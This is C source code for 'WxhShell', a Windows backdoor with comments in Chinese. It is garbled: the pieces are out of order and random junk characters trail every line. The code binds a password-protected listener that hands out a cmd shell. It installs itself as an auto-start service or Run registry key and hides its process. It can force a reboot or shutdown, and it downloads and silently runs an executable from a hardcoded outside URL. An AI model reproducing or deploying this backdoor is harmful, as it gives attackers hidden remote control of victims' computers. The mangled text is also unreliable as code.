    if(Boot(SHUTDOWN)) `!MyOI`qS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @_0 g "Ul  
    else { 8kZ ~  
    closesocket(wsh); !Ju?REH   
    ExitThread(0); % '>S9Ja3  
    } '"}|'J  
    break; )c@I|L  
    } w>I>9O}(`  
  // 获取shell o/I<)sa  
  case 's': { NLDmZra  
    CmdShell(wsh); S=O/W(ZB  
    closesocket(wsh); od>DSn3T  
    ExitThread(0); m{={a5GD  
    break; t1HUp dHY  
  } ?{#P.2  
  // 退出 v _Bu  
  case 'x': { _I_Sq,Z#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~p~8T  
    CloseIt(wsh); Du>dTi~  
    break; = PldXw0  
    } p$}iBk0B(z  
  // 离开 iV#JJ-OBq  
  case 'q': { E0=-6j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Df;FOTTi%  
    closesocket(wsh); Tgp}k%R~  
    WSACleanup(); >HnD'y*  
    exit(1); p}.P^`~j  
    break; z Q NL){  
        } 9\*xK%T+  
  } ~BCSm]j  
  } _1*EMq6  
"ffwh  
  // 提示信息 sSOI5W3A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?mY )m +  
} T3['6%  
  } r&"}zyL  
>H@ dgb  
  return; :c,\8n  
} U;Hu:q*  
AW6]S*rh  
// shell模块句柄 }Evyfc#D  
int CmdShell(SOCKET sock) EA75 D&>I  
{ E?&dZR  
STARTUPINFO si; 5L|yF"TI#  
ZeroMemory(&si,sizeof(si)); >8SX,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;: Hfkyy]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  <_MQC  
PROCESS_INFORMATION ProcessInfo; H7"I+qE-G  
char cmdline[]="cmd"; -!">SY\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^`YSl*:  
  return 0; HeGGAjc  
} m&,d8Gss^  
*P:`{ZV7=W  
// 自身启动模式 c R$2`:e  
int StartFromService(void) Dc oTa-~  
{ 7* ^\mycv  
typedef struct ci5ERv`  
{ u 8U>R=M  
  DWORD ExitStatus; bEbO){Fe  
  DWORD PebBaseAddress; +Qu~UK\   
  DWORD AffinityMask; 60~{sk~E  
  DWORD BasePriority;  A`#v-  
  ULONG UniqueProcessId; x:;8U i"&B  
  ULONG InheritedFromUniqueProcessId; rf;R"Uc  
}   PROCESS_BASIC_INFORMATION; nP'ab_>b  
RNoS7[&  
PROCNTQSIP NtQueryInformationProcess; w[PW-m^`  
}?*:uf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Y/iq9l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3X0^xUA6  
/RmLV  
  HANDLE             hProcess; @z dmB~C  
  PROCESS_BASIC_INFORMATION pbi; dSIMwu6u  
XPUH\I=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sPkT>q  
  if(NULL == hInst ) return 0; \C}tK,79  
]t0?,q.$7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sXoBw.^Ir_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k>VP<Zm13  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ow/ /#:  
?ZlwRjB\  
  if (!NtQueryInformationProcess) return 0; , X$S4>  
?Dd2k%o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2)[81a  
  if(!hProcess) return 0; ]}>GUXe)^  
Fhxg^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #: ' P3)&  
* I'O_D  
  CloseHandle(hProcess); jGI!}4_  
(jY.S|%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( }JX ]-  
if(hProcess==NULL) return 0; K<Yh'RvTD  
'O\K Wj{  
HMODULE hMod; oH6(Lq'q  
char procName[255]; JEJ] '3  
unsigned long cbNeeded; &e,xN;  
dP)8T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F;q I^{m2  
L>@0Nne7  
  CloseHandle(hProcess); |C>Yd*E,C  
A.WJ#1i}E  
if(strstr(procName,"services")) return 1; // 以服务启动 ;HqK^[1\  
Y 3KCIL9  
  return 0; // 注册表启动 ^o?.Rph|i]  
} ?1PY]KNaK  
)- 2^Jvc  
// 主模块 Zls4@/\Q  
int StartWxhshell(LPSTR lpCmdLine) Pq7YJ"Z?:  
{ x( mY$l,il  
  SOCKET wsl; aN;L5;m#>{  
BOOL val=TRUE; #+Vvf  
  int port=0; Ypv"u0  
  struct sockaddr_in door; uu#ALB Jm  
*"9b?`E  
  if(wscfg.ws_autoins) Install(); HCHC~FNd  
FpW{=4yk  
port=atoi(lpCmdLine); 1Ll@ ocE  
3QV|@5L`[  
if(port<=0) port=wscfg.ws_port; "me J n/  
]4z?sk@  
  WSADATA data; i$og v2J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s BRw#xyS  
t}'Oh}CG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @9vz%1B<l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5,?9#n\E,  
  door.sin_family = AF_INET; H3a}`3}U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -u{k  
  door.sin_port = htons(port); %X[|7D-  
S4?ss I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $orhY D3gv  
closesocket(wsl); vkBngsS  
return 1; 9.%{M#j  
} '>`bp25>  
vZXyc *  
  if(listen(wsl,2) == INVALID_SOCKET) { IL>Gi`Y&  
closesocket(wsl); 39m#  
return 1; TSuHY0. cp  
} 8Cm^#S,+  
  Wxhshell(wsl); MR+ndB<  
  WSACleanup(); iY*Xm,#  
=AR'Pad  
return 0; TR: D  
:&TOQ<vM  
} b(~NqV!i  
40q8,M  
// 以NT服务方式启动 g<.VW 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |0-5-.  
{ Wigm`A=,r  
DWORD   status = 0; ]Fj z+CGg  
  DWORD   specificError = 0xfffffff; YQYN.\  
S)Ld^0w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dks0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (6JD<pBm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lb/a _8<E?  
  serviceStatus.dwWin32ExitCode     = 0; l<qxr.X  
  serviceStatus.dwServiceSpecificExitCode = 0; +o_`k!  
  serviceStatus.dwCheckPoint       = 0; A?6b)B/e?  
  serviceStatus.dwWaitHint       = 0; T8qG9)~3  
P7@q vg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lw!@[;2  
  if (hServiceStatusHandle==0) return; 5(U.<  
LW,!B.`@  
status = GetLastError(); $wX5`d 1  
  if (status!=NO_ERROR) O gycP4z[  
{ N 4,w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &|9?B!,`  
    serviceStatus.dwCheckPoint       = 0; |/r@z[t  
    serviceStatus.dwWaitHint       = 0; 9$d (`-&9p  
    serviceStatus.dwWin32ExitCode     = status; rtUd L,Hx  
    serviceStatus.dwServiceSpecificExitCode = specificError; [& hdyLt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GU"MuW`u2  
    return; gw5CU)r4$  
  } eH1Y!&`  
6|9];)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $]%k <|X  
  serviceStatus.dwCheckPoint       = 0; \3Xt\1qN4  
  serviceStatus.dwWaitHint       = 0; l sUQ7%f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !0zM@p  
} -98bX]8  
& f!!UZMt)  
// 处理NT服务事件,比如:启动、停止 -4HI9Czts  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9N u;0  
{ I:Z38xz-[  
switch(fdwControl) geT<vh Z6  
{ sb8SG_c.  
case SERVICE_CONTROL_STOP: @o>2:D1G  
  serviceStatus.dwWin32ExitCode = 0; 3EzI~Zsx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ok[R`99  
  serviceStatus.dwCheckPoint   = 0; ,rTR |>Z  
  serviceStatus.dwWaitHint     = 0; 9$Hgh7'hvs  
  { r2H]n.MT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lqz}h-Ei  
  } [%bshaY:  
  return; c.d*DM}W  
case SERVICE_CONTROL_PAUSE: 7Qq>?H -  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ak4iG2  
  break; Q OdvzVy<  
case SERVICE_CONTROL_CONTINUE:  ^mG-O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9-L.?LG  
  break; aP4r6lLv+  
case SERVICE_CONTROL_INTERROGATE: 6Lz&"C,`  
  break; GL (YC-{  
}; Yz{UP)TC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dyu~T{  
} Q@l3XNH|c  
Aja'`Mu  
// 标准应用程序主函数 F1 MPo;e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b/<n:*$   
{ *UEo&B2+  
~/gqXT">  
// 获取操作系统版本 YMm Fpy  
OsIsNt=GetOsVer(); JkpA \<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;i Ud3 '*  
<tFq6|  
  // 从命令行安装 tohYwXN  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~2 =B:;  
H%sbf& gi  
  // 下载执行文件 Z=wLNmH  
if(wscfg.ws_downexe) { |-Y,:sY:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?;}2 Z)  
  WinExec(wscfg.ws_filenam,SW_HIDE); NlWIb2,  
} B \[P/AC  
%hOe `2#$  
if(!OsIsNt) { vE&  
// 如果时win9x,隐藏进程并且设置为注册表启动 .!=2#<  
HideProc(); ? NVN&zD]  
StartWxhshell(lpCmdLine); ?l bK;Kv  
} W!+5}\?  
else \W #M]Q  
  if(StartFromService()) ~F DJKGK  
  // 以服务方式启动 kjjO<x?&*  
  StartServiceCtrlDispatcher(DispatchTable); ar>S_VW*  
else qDL9  
  // 普通方式启动 =j }]-!  
  StartWxhshell(lpCmdLine); 3X%>xUI  
XCQ =`3f  
return 0; +*F ;l\R  
} -pyTzC$HO  
_f2(vWCW;J  
W aks*^|  
\%rX~UhZ=  
=========================================== lHr?sMt  
*7DQ#bD  
+>37 'PD  
p \F*Y,4  
JtvAi\52$  
ZShRE"`  
" M0 =K#/  
k q_B5L?  
#include <stdio.h> 2Vt iL^;5  
#include <string.h> 57D /"  
#include <windows.h> 8T7[/"hi\  
#include <winsock2.h> #!C/~"Y*`|  
#include <winsvc.h> ZVk_qA%  
#include <urlmon.h> - =QA{n  
[y64%|m  
#pragma comment (lib, "Ws2_32.lib") 2["bS++?  
#pragma comment (lib, "urlmon.lib") Z[Uz~W6M]  
U''/y\Z  
#define MAX_USER   100 // 最大客户端连接数 >o%.`)Ar  
#define BUF_SOCK   200 // sock buffer _}{C?611c  
#define KEY_BUFF   255 // 输入 buffer fPa FL}&  
i|y8n7c  
#define REBOOT     0   // 重启 Z^>{bW  
#define SHUTDOWN   1   // 关机 FE" ksi 9  
.Hc]?R ]  
#define DEF_PORT   5000 // 监听端口 Nz\=M|@(#  
k7'B5zVd  
#define REG_LEN     16   // 注册表键长度 +*mi%)I  
#define SVC_LEN     80   // NT服务名长度 H Y\-sl^  
'%l<33*  
// 从dll定义API josc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &X }GJLC3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G;>b}\Ng  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3g0[( ;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w0q.cj@nd  
1#gveHm]-G  
// wxhshell配置信息 :Fm;0R@/k  
struct WSCFG { M]vc W  
  int ws_port;         // 监听端口 QcU&G*   
  char ws_passstr[REG_LEN]; // 口令 wG ua"@IE  
  int ws_autoins;       // 安装标记, 1=yes 0=no T/X[q7O~~4  
  char ws_regname[REG_LEN]; // 注册表键名 s["8QCd"r  
  char ws_svcname[REG_LEN]; // 服务名 a;r,*zZ="  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s9>-Q"(y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o cotO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]N!8U_U3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9o@5:.b<j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :D\M.A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /5b,&  
f!|7j}3  
}; \Z{6j&;  
,9SBGxK5`  
// default Wxhshell configuration 2f2Vy:&O_  
struct WSCFG wscfg={DEF_PORT, VJ8cls<  
    "xuhuanlingzhe", :D|"hJ  
    1, =]X_wA;%  
    "Wxhshell", qRlS^=#  
    "Wxhshell", Ha>Hb`  
            "WxhShell Service", cv})^E$x  
    "Wrsky Windows CmdShell Service", X0wvOs:  
    "Please Input Your Password: ", (,*e\o  
  1, b*i_'k}*<g  
  "http://www.wrsky.com/wxhshell.exe", c5Fl:=h  
  "Wxhshell.exe" Kx==vq%39  
    }; 1U[Q)(P  
o/??w:'  
// 消息定义模块 v50w}w'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0' j/ 9vm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {"k}C2K'r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uJhB>/Og  
char *msg_ws_ext="\n\rExit."; =]i[gs)B  
char *msg_ws_end="\n\rQuit."; &m<:&h& b  
char *msg_ws_boot="\n\rReboot..."; 82d~>i%T  
char *msg_ws_poff="\n\rShutdown..."; .nh }f}j  
char *msg_ws_down="\n\rSave to "; 1X. E:  
xDJ@MW#  
char *msg_ws_err="\n\rErr!"; }h{8i_R  
char *msg_ws_ok="\n\rOK!"; #2 Gy=GvV  
OynQlQD/Eu  
char ExeFile[MAX_PATH]; CNU,\>J@$  
int nUser = 0; <Cv 6wC=  
HANDLE handles[MAX_USER]; &/wd_;d^A  
int OsIsNt; %?  87#|  
9=RfGx  
SERVICE_STATUS       serviceStatus; fib#)KE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m ^?a/  
wN}@%D-[v  
// 函数声明 r2!\Ts5v  
int Install(void); 3(&f!<Uy  
int Uninstall(void); 1V/?p<A  
int DownloadFile(char *sURL, SOCKET wsh); aUZh_<@  
int Boot(int flag); *n]f)Jc  
void HideProc(void); gs/ i%O  
int GetOsVer(void); oyfY>^bs  
int Wxhshell(SOCKET wsl); =Pj+^+UM  
void TalkWithClient(void *cs); {"e)Jj_=  
int CmdShell(SOCKET sock); 4 q-/R  
int StartFromService(void); 2&b?NqEeZ  
int StartWxhshell(LPSTR lpCmdLine); P6G&3yPt  
>G#SfE$0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9Su4nt`i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OS - Xh-:z  
|!Ryl}Oi  
// 数据结构和表定义 Q3h_4{w  
SERVICE_TABLE_ENTRY DispatchTable[] = p<[gzmU9\b  
{ M0) q  
{wscfg.ws_svcname, NTServiceMain}, IJ[r!&PY  
{NULL, NULL} PAYS~MnV@3  
}; >v?&&FhHK<  
(i2R1HCa  
// 自我安装 ;URvZ! {/Z  
int Install(void) s^\ *jZ6  
{ %:S4OT8]  
  char svExeFile[MAX_PATH]; 1U?,}w   
  HKEY key; Sdo mG?;kV  
  strcpy(svExeFile,ExeFile); #];b+ T  
MJ?fMR@  
// 如果是win9x系统,修改注册表设为自启动 _-+xzdGvX  
if(!OsIsNt) { :@~W$f\y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *r90IS}A$2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &2P=74\=  
  RegCloseKey(key); [C-4*qOaa2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j0wpaIp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V$?@ z>7  
  RegCloseKey(key); rWMG6+Scb  
  return 0; m8ApiGG  
    } a +$'ULK+r  
  } F $6JzF$|F  
} UE\Z] t!  
else { o'?[6B>oj  
UURYK~$K:  
// 如果是NT以上系统,安装为系统服务 ,wYA_1$$H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +x(~!33[G  
if (schSCManager!=0) fw3P?_4;*  
{ 6"djX47j  
  SC_HANDLE schService = CreateService B?gFFU61  
  ( C{<H)?]*BF  
  schSCManager, \8<ZPqt9  
  wscfg.ws_svcname, ?se\?q  
  wscfg.ws_svcdisp, pf8M0,AY  
  SERVICE_ALL_ACCESS, tv 7"4$T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^&Vj m  
  SERVICE_AUTO_START, Q8Fqf ;4  
  SERVICE_ERROR_NORMAL, xg;I::hE7X  
  svExeFile, kMx^L;:n  
  NULL, J\l'nqS"  
  NULL, mMOjV_  
  NULL, `i5\(cdl  
  NULL, 4Q17vCC*n  
  NULL =kP|TR!o-  
  ); ]tx/t^&/\u  
  if (schService!=0) uc>]-4  
  { 93VbB[w~7F  
  CloseServiceHandle(schService); =1r!'<"h  
  CloseServiceHandle(schSCManager); UC@Jsj~f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^JM O POm  
  strcat(svExeFile,wscfg.ws_svcname); RRUv_sff  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /e;E+   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8G )O,F7z  
  RegCloseKey(key); [pxC3{|d$  
  return 0; KXf (v4  
    } $W;f9k@C!  
  } (.pi,+Ws  
  CloseServiceHandle(schSCManager); =/e$Rp  
} 8pXqgIbmb  
} -P:o ^_)g  
M(U<H;Csk  
return 1; ('z:XW96  
} "t)$4gERK  
c5(4rT{(m  
// 自我卸载 e'|IRhr  
int Uninstall(void) ZJ8"5RW  
{ +z|@K=d#|  
  HKEY key; [NoOA  
aQ*?L l  
if(!OsIsNt) { e<$s~ UXv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~%L=<TBAc  
  RegDeleteValue(key,wscfg.ws_regname); ?*^HZ~O1  
  RegCloseKey(key); h?Lp9VF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i`}!<{k  
  RegDeleteValue(key,wscfg.ws_regname); T STkMlCG  
  RegCloseKey(key); |Ae7wXOs  
  return 0; Q9Vj8JO"{  
  } aTwBRm  
} wvmcD%   
} YYhN>d$  
else { 3b?8<*  
f^)iv ]p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qVW3oj<2  
if (schSCManager!=0) WP{U9YF2  
{ >dJ[1s]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); []G@l. ]W  
  if (schService!=0) Rn*@)5  
  { M5:j)o W  
  if(DeleteService(schService)!=0) { 9-Z ?  
  CloseServiceHandle(schService); BvS!P8  
  CloseServiceHandle(schSCManager); XS$#\UQ  
  return 0; L[^.pO  
  } d&lT/S  
  CloseServiceHandle(schService); ^^g u  
  } seVT| z  
  CloseServiceHandle(schSCManager); t?H sfN  
} %\L{Ud%7  
} 3hVuC1;"  
'~VF*i^4  
return 1; i|rCGa0}  
} hC4 M}(XM  
hka%!W5  
// 从指定url下载文件 oB(9{6@N  
int DownloadFile(char *sURL, SOCKET wsh) L2c\i  
{ FX!Qd&kl1  
  HRESULT hr; u2OrH3E4E3  
char seps[]= "/"; T$sm}=  
char *token; klMpiy  
char *file; XQ2 YUe]DJ  
char myURL[MAX_PATH]; yg6o#;  
char myFILE[MAX_PATH]; .Fx3WryF  
N8DouDq  
strcpy(myURL,sURL); \Xe{vlo>h  
  token=strtok(myURL,seps); .7M.bpmqE  
  while(token!=NULL) yg4#,4---b  
  { Z_a@,k:+[  
    file=token; Tz~a. h@  
  token=strtok(NULL,seps); -q(*)N5.2  
  } T oT('  
1p$*N  
GetCurrentDirectory(MAX_PATH,myFILE); P$]K  
strcat(myFILE, "\\"); 1,7 }ah_  
strcat(myFILE, file); E.*gKfL  
  send(wsh,myFILE,strlen(myFILE),0); q VavP6I  
send(wsh,"...",3,0); 96S$Y~G# &  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q8uq%wf  
  if(hr==S_OK) ,J=lHj  
return 0; 6ma.FvSIM  
else =:t<!dp  
return 1; O0s,)8+z5D  
FAdTp.   
} $inKI  
HCx0'|J  
// 系统电源模块 C ^c <s  
int Boot(int flag) G`/4 n@  
{ ^*+j7A.n  
  HANDLE hToken; "Pu917_P  
  TOKEN_PRIVILEGES tkp; ]+b?J0|P<  
?2R!n" m-d  
  if(OsIsNt) { @ 'c(q=K;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qn~{TZz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -d thY(8  
    tkp.PrivilegeCount = 1; wn|;Li  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (XlvPcTi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BS?i!Bm7  
if(flag==REBOOT) { zqURnsJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m 2/S(f  
  return 0; 45x4JG  
} Aar]eY\  
else { Dm$SW<!l|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kd_! S[  
  return 0; '+ mI  
} {=,G>p  
  } g-,lY|a  
  else { [P0c,97_ H  
if(flag==REBOOT) { Y^C(<N$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BG)zkn$  
  return 0; _00}O+GLM4  
} > 5?c93?  
else { IWm@pfC+g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .JTRFk{W  
  return 0; \}%_FnP0ZU  
} Z15 =vsV  
} xwW(WHdC]  
oB>#P-V  
return 1; K>5 bb  
} VKfpk^rU  
F>^KXq:Z  
// win9x进程隐藏模块 e>6W ^ )  
void HideProc(void) I+ 3qu=  
{ |'uBkL0q  
mKyF<1,m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7h2/8YUgQ  
  if ( hKernel != NULL ) j^v<rCzc (  
  { >wL!`:c'"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L>&{<M_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t-n'I/^5  
    FreeLibrary(hKernel); <AiE~l| D  
  } U3-MvI,Q  
HRQfT>"/  
return; +?*.Emzl@  
} %rf6 >  
pHye8v4fvi  
// 获取操作系统版本 {X<_Y<  
int GetOsVer(void) H3pZfdh?w  
{ 4~ &X]/_'  
  OSVERSIONINFO winfo; b$pCp`/MT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *a0#PfS[  
  GetVersionEx(&winfo); Snn4RB<(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K6)IBV;  
  return 1; @3 +   
  else EZVgTySd  
  return 0; A[`c+&  
} LaZ @4/z!  
p%X.$0  
// 客户端句柄模块 wlh%{l  
int Wxhshell(SOCKET wsl) +z#+}'mT%  
{ ()$m9%x  
  SOCKET wsh; cG3tn&AXi  
  struct sockaddr_in client; Sj*W|n\gj  
  DWORD myID; F x$W3FIO]  
#Aj#C>  
  while(nUser<MAX_USER) |oX9SUl  
{ >HzTaXCR[  
  int nSize=sizeof(client); kp!(e0n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mi5bk>o  
  if(wsh==INVALID_SOCKET) return 1; vXSA_" 0t  
x>Dix1b:.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c=a;<,Rzb  
if(handles[nUser]==0) !c0x^,iE  
  closesocket(wsh); o/vD]Fs  
else o)CW7Y#?,  
  nUser++; h+cOOm-)  
  } Y(ClG*6 ++  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &N3a`Ua  
<]#_&Na  
  return 0; zxd<Cq>d  
} [iyhrc:@  
?VTP|Z  
// 关闭 socket p_fsEY  
void CloseIt(SOCKET wsh) +(w9! 5?F  
{ Wh"xt:  
closesocket(wsh); >>;He7  
nUser--; Q'j00/K  
ExitThread(0); O -p^S  
} o?3C-A|  
!HW?/-\,O  
// 客户端请求句柄 /R( .7N  
void TalkWithClient(void *cs) jCg4$),b  
{ 1p SEr6  
`V*$pHo  
  SOCKET wsh=(SOCKET)cs; |+<o(Q(  
  char pwd[SVC_LEN]; C [8='i26  
  char cmd[KEY_BUFF]; /$FpceB!W  
char chr[1]; w'mn O'%  
int i,j; 6HpiG`  
=jU#0FAO  
  while (nUser < MAX_USER) { fCv.$5  
)G#O#Yy  
if(wscfg.ws_passstr) { xP'"!d4^i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nv: VX{%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Oj{x0{\Q  
  //ZeroMemory(pwd,KEY_BUFF); A{DE7gp!  
      i=0; WxtB:7J  
  while(i<SVC_LEN) { Bv6~!p  
F/df!I~  
  // 设置超时 Uo|T6N  
  fd_set FdRead; DM(c :+K-  
  struct timeval TimeOut; ;4`%?6%  
  FD_ZERO(&FdRead); I5rAL\y-G  
  FD_SET(wsh,&FdRead); <2^ F'bQV  
  TimeOut.tv_sec=8; XIp>PcU^  
  TimeOut.tv_usec=0; ovvg"/>L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -}H EV#ev  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bp P3#~ K  
M,DwBEF?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~eekv5  
  pwd=chr[0]; difAQ<`  
  if(chr[0]==0xd || chr[0]==0xa) { :HH3=.qAp`  
  pwd=0; ;7mE%1X  
  break; "^VPe[lA  
  } ,T+.xB;Q@  
  i++; 4ZT0~37(  
    } NHaqT@:  
 U%tpNWB  
  // 如果是非法用户,关闭 socket Ve[&_(fP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mqmy*m[U  
} ?]58{O(?c  
hx;0h&L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mX@!O[f%9e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;2,Q:&`   
c7 O$< F  
while(1) { "> Y(0^^  
h09fU5l  
  ZeroMemory(cmd,KEY_BUFF); T<u QhPMw  
SbD B[O%  
      // 自动支持客户端 telnet标准   p</V_BIW  
  j=0; `4t*H>:y  
  while(j<KEY_BUFF) { JS(%:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %d#j%=  
  cmd[j]=chr[0]; }(w9[(K  
  if(chr[0]==0xa || chr[0]==0xd) { * o#P)H  
  cmd[j]=0; x:`"tJa  
  break; !u=A9i!  
  } '/<f'R^  
  j++; I?Q[ZH:M  
    } M}N[> ,2'  
 *#sY-Gd  
  // 下载文件 kD_616  
  if(strstr(cmd,"http://")) { RH0J#6C/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k6^!G"  
  if(DownloadFile(cmd,wsh)) aQL$?,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #;s5=aH  
  else ew|e66Tw$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rHD_sC*  
  } 3mLtnRX[m  
  else { 'zfj`aqc  
